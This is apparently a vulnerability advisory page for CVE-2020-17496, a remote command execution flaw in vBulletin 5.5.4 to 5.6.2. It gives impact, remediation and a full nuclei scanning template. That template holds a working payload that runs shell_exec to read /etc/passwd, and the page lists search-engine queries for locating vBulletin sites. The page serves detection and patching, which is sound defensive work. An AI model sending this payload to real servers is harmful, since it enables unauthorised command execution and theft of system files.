vBulletin 5.5.4 - 5.6.2- Remote Command Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

87.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.

Fix

Upgrade vBulletin to a version that is not affected by CVE-2020-17496.

How to confirm it

Send: POST /ajax/render/widget_tabbedcontainer_tab_panel
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-17496 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-17496

info:
  name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
  author: pussycat0x
  severity: critical
  description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade vBulletin to a version that is not affected by CVE-2020-17496.
  reference:
    - https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17496
    - https://seclists.org/fulldisclosure/2020/Aug/5
    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
    - https://cwe.mitre.org/data/definitions/78.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17496
    cwe-id: CWE-74
    epss-score: 0.87478
    epss-percentile: 0.99758
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.title:"powered by vbulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve2020,cve,vbulletin,rce,kev,tenable,seclists,vkev,vuln

http:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from